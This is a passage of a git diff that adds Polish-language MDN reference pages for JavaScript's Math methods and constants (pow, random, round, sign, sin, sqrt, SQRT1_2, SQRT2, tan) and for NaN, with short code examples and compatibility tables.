+<pre class="syntaxbox"><code>Math.pow(podstawa, wykładnik)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>podstawa</code> </dt>
+ <dd>liczba podnoszona do potęgi.</dd>
+</dl>
+
+<dl>
+ <dt><code>wykładnik</code> </dt>
+ <dd>wykładnik potęgi, do której podnoszona jest liczba <code>podstawa</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>pow</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.pow()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.pow" name="Przyk.C5.82ad:_Zastosowanie_Math.pow">Przykład: Zastosowanie <code>Math.pow()</code></h3>
+
+<pre class="brush: js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">pow<span class="token punctuation">(</span></span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 49</span></code></pre>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/random/index.html b/files/pl/web/javascript/referencje/obiekty/math/random/index.html
new file mode 100644
index 0000000000..af6fa11aa7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/random/index.html
@@ -0,0 +1,67 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Referencje/Obiekty/Math/random
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca pseudolosową, zmiennoprzecinkową liczbę z przedziału <code>[0, 1)</code> ( jedynka nie należy do przedziału). Podstawą generatora liczb losowych (ang.<em> seed</em> ) jest aktualny czas, tak samo jak w języku Java. Ponieważ <code>random</code> jest statyczną metodą obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.random()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<div class="note">
+<p><strong>Notatka:</strong> <code>Math.random()</code> <strong>nie zapewnia</strong><span class="tlid-translation translation"><span title=""> kryptograficznie bezpiecznych liczb losowych.</span></span> <span class="tlid-translation translation"><span title="">Nie używaj ich do niczego związanego z bezpieczeństwem (np. generowanie haseł).</span></span> <span class="tlid-translation translation"><span title="">Zamiast tego użyj Web Crypto API, a dokładniej:</span></span> metodę {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p>
+</div>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.random()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p><span class="tlid-translation translation"><span title="">Liczba pseudolosowa, zmiennoprzecinkowa zawarta w przedziale <code>[0, 1)</code> (od 0 (włącznie) do 1 (wykluczając 1)).</span></span></p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad_Zastosowanie_Math.random" name="Przyk.C5.82ad:_Zastosowanie_Math.random">Zastosowanie <code>Math.random()</code></h3>
+
+<p>Zwraca losową liczbę większą lub równą 0 i mniejszą od 1.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> getRandom<span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Uzyskanie_losowej_liczby_między_dwiema_wartościami"><span class="tlid-translation translation"><span title="">Uzyskanie losowej liczby między dwiema wartościami</span></span></h3>
+
+<p><span class="tlid-translation translation"><span title="">Ten przykład zwraca losową liczbę znajdującą się pomiędzy określonymi wartościami.</span> <span title="">Zwrócona wartość jest większa lub równa <code>min</code>, i jest mniejsza niż <code>max</code>.</span></span></p>
+
+<pre><code class="language-js"><span class="keyword token">function</span> <span class="function token">getRandomInt</span><span class="punctuation token">(</span>min<span class="punctuation token">,</span> max<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ min <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">ceil</span><span class="punctuation token">(</span>min<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ max <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>max<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="punctuation token">(</span>max <span class="operator token">-</span> min<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">+</span> min<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code>
+</pre>
+
+<h3 id="Uzyskanie_losowej_liczby_między_dwiema_wartościami_z_przedziału_min_max_max_włącznie"><span class="tlid-translation translation"><span title="">Uzyskanie losowej liczby między dwiema wartościami z przedziału <code>[min, max]</code> (<code>max</code> włącznie)</span></span></h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">getRandomIntInclusive</span><span class="punctuation token">(</span>min<span class="punctuation token">,</span> max<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ min <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">ceil</span><span class="punctuation token">(</span>min<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ max <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>max<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="punctuation token">(</span>max <span class="operator token">-</span> min <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">+</span> min<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div class="hidden">
+<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p>
+</div>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/round/index.html b/files/pl/web/javascript/referencje/obiekty/math/round/index.html
new file mode 100644
index 0000000000..4f0729568b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/round/index.html
@@ -0,0 +1,50 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Referencje/Obiekty/Math/round
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.round(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli część ułamkowa liczby <code>x</code> wynosi 0.5 lub więcej, argument jest zaokrąglany do najbliższej większej liczby całkowitej. Jeśli część ułamkowa liczby <code>x</code> jest mniejsza niż 0.5, argument jest zaokrąglany do najbliższej mniejszej liczby całkowitej.</p>
+
+<p>Ponieważ <code>round</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.round()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.round" name="Przyk.C5.82ad:_Zastosowanie_Math.round">Przykład: Zastosowanie <code>Math.round()</code></h3>
+
+<pre class="brush: js">// zwraca 20
+x = Math.round(20.49)
+
+// zwraca 21
+x = Math.round(20.5)
+
+// zwraca -20
+x = Math.round(-20.5)
+
+// zwraca -21
+x = Math.round(-20.51)
+</pre>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/sign/index.html b/files/pl/web/javascript/referencje/obiekty/math/sign/index.html
new file mode 100644
index 0000000000..d6c21d59a1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/sign/index.html
@@ -0,0 +1,118 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Referencje/Obiekty/Math/sign
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p>Funkcja<strong style="font-weight: bold;"> </strong><code><strong>Math.sign() </strong></code>zwraca znak liczby. Wynik wskazuje czy liczba przekazana jako argument jest dodatnia, ujemna lub czy jest zerem.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.sign(<em>x</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Liczba, której znak ma zostać określony.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p>Metoda <code>sign</code> powinna być zawsze używana jako <code>Math.sign()</code>, ponieważ jest metodą statyczną w obiekcie <code>Math</code>. (Nie jako metoda stworzonego obiektu  (<code>Math</code> nie jest konstruktorem)).</p>
+
+<p>Funkcja ma pięć wartości wynikowych <code>1, -1, 0, -0, NaN,</code> które reprezentują odpowiednio: "liczbę dodatnią", "liczbę ujemną", "zero "dodatnie"", <span style="line-height: 1.572;"> "zero "ujemne"" </span><span style="line-height: 1.572;">oraz NaN (parametr nie jest liczbą).</span></p>
+
+<p>Argument funkcji jest domyślnie konwertowany do <code>number</code>.</p>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<h3 id="Example:_Using_Math.log" name="Example:_Using_Math.log">Przykład: Użycie <code>Math.sign</code></h3>
+
+<pre class="brush:js">Math.sign(3) // 1
+Math.sign(-3) // -1
+Math.sign("-3") // -1
+Math.sign(0) // 0
+Math.sign(-0) // -0
+Math.sign(NaN) // NaN
+Math.sign("foo") // NaN
+Math.sign() // NaN
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Tabela_zgodności_przeglądarek">Tabela zgodności przeglądarek</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop("25")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("25")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz również</h2>
+
+<ul>
+ <li>Obiekt {{jsxref("Math")}}, który definiuje tą funkcję.</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/sin/index.html b/files/pl/web/javascript/referencje/obiekty/math/sin/index.html
new file mode 100644
index 0000000000..56d31ef74c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/sin/index.html
@@ -0,0 +1,51 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Referencje/Obiekty/Math/sin
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca sinus danej liczby.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>sin</code> zwraca wartość numeryczną większą lub równą -1 i mniejszą lub równą 1, stanowiącą sinus argumentu.</p>
+
+<p>Ponieważ <code>sin</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.sin()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.sin" name="Przyk.C5.82ad:_Zastosowanie_Math.sin">Przykład: Zastosowanie <code>Math.sin()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0
+</span>Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.8414709848078965
+</span>
+Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span>Math<span class="token punctuation">.</span>PI <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html
new file mode 100644
index 0000000000..76c5b33a3e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html
@@ -0,0 +1,46 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Referencje/Obiekty/Math/sqrt
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca pierwiastek kwadratowy danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli wartość <code>x</code> jest ujemna, funkcja <code>sqrt</code> zwraca {{jsxref("NaN")}}.</p>
+
+<p>Ponieważ <code>sqrt()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.sqrt()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.sqrt" name="Przyk.C5.82ad:_Zastosowanie_Math.sqrt">Przykład: Zastosowanie <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 3
+</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.414213562373095
+</span>
+Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1
+</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0
+</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // NaN</span></code></pre>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..224739b4ce
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html
@@ -0,0 +1,39 @@
+---
+title: Math.SQRT1 2
+slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<p>{{jsref}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>SQRT1_2</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.SQRT1_2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_SQRT1_2" name="Przyk.C5.82ad:_Zastosowanie_SQRT1_2">Przykład: Zastosowanie <code>Math.SQRT1_2</code></h3>
+
+<p>Poniższa funkcja zwraca pierwiastek kwadratowy z 1/2:</p>
+
+<pre class="brush:js language-js">function getRoot1_2() {
+ return Math.SQRT1_2
+}
+
+<code class="language-js"><span class="token function">getRoot1_2<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.7071067811865476</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html
new file mode 100644
index 0000000000..6f247b5abe
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html
@@ -0,0 +1,41 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT2
+tags:
+ - JavaScript
+ - Math
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>SQRT2</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez {{jsxref("Math")}}<code>.SQRT2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_SQRT2" name="Przyk.C5.82ad:_Zastosowanie_SQRT2">Przykład: Zastosowanie <code>Math.SQRT2</code></h3>
+
+<p>Poniższa funkcja zwraca pierwiastek kwadratowy z liczby 2:</p>
+
+<pre class="brush: js language-js">function getRoot2() {
+ return Math.SQRT2;
+}
+
+<code class="language-js"><span class="token function">getRoot2<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.4142135623730951</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/tan/index.html b/files/pl/web/javascript/referencje/obiekty/math/tan/index.html
new file mode 100644
index 0000000000..844ca8cf12
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/tan/index.html
@@ -0,0 +1,53 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Referencje/Obiekty/Math/tan
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca tangens danej liczby.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>tan</code> zwraca wartość numeryczną reprezentującą tangens kąta.</p>
+
+<p>Ponieważ <code>tan()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.tan()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_Math.tan" name="Przyk.C5.82ad:_Zastosowanie_Math.tan">Przykład: Zastosowanie <code>Math.tan()</code></h4>
+
+<p>Poniższa funkcja zwraca tangens zmiennej <code>x</code>:</p>
+
+<pre class="brush: js">function getTan(x) {
+ return Math.tan(x)
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/nan/index.html b/files/pl/web/javascript/referencje/obiekty/nan/index.html
new file mode 100644
index 0000000000..738e9a2a01
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/nan/index.html
@@ -0,0 +1,45 @@
+---
+title: NaN
+slug: Web/JavaScript/Referencje/Obiekty/NaN
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>
+<div>
+<div>{{jsSidebar("Obiekty")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość reprezentująca
+ <i>Not-A-Number</i>
+ , tj. nie będąca liczbą.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>NaN</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>NaN</code> jest własnością najwyższego rzędu i nie jest powiązana z żadnym obiektem.</p>
+
+<p>Wartością początkową <code>NaN</code> jest <code>NaN</code>.</p>
+
+<p><code>NaN</code> nigdy nie jest równa innej liczbie, nie jest równa nawet samej sobie. Nie jest możliwe sprawdzenie, czy dana wartość jest NaN przez porównanie z {{jsxref("Number.NaN")}} – należy zamiast tego stosować funkcję {{jsxref("Obiekty.isNaN", "isNaN()")}}.</p>
+
+<p>Wiele metod języka JavaScript (m. in. konstruktor <code>Number</code>, <code>parseFloat</code> i <code>parseInt</code>) zwracają <code>NaN</code>, jeśli wartość ich parametrów nie jest liczbą lub nie daje się na liczbę skonwertować.</p>
+
+<p><code>NaN</code> można zastosować do zasygnalizowania błędu w funkcji, która zazwyczaj zwraca poprawną liczbę.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("Obiekty.isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/netscape/index.html b/files/pl/web/javascript/referencje/obiekty/netscape/index.html
new file mode 100644
index 0000000000..e30cf9671c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/netscape/index.html
@@ -0,0 +1,29 @@
+---
+title: netscape
+slug: Web/JavaScript/Referencje/Obiekty/netscape
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
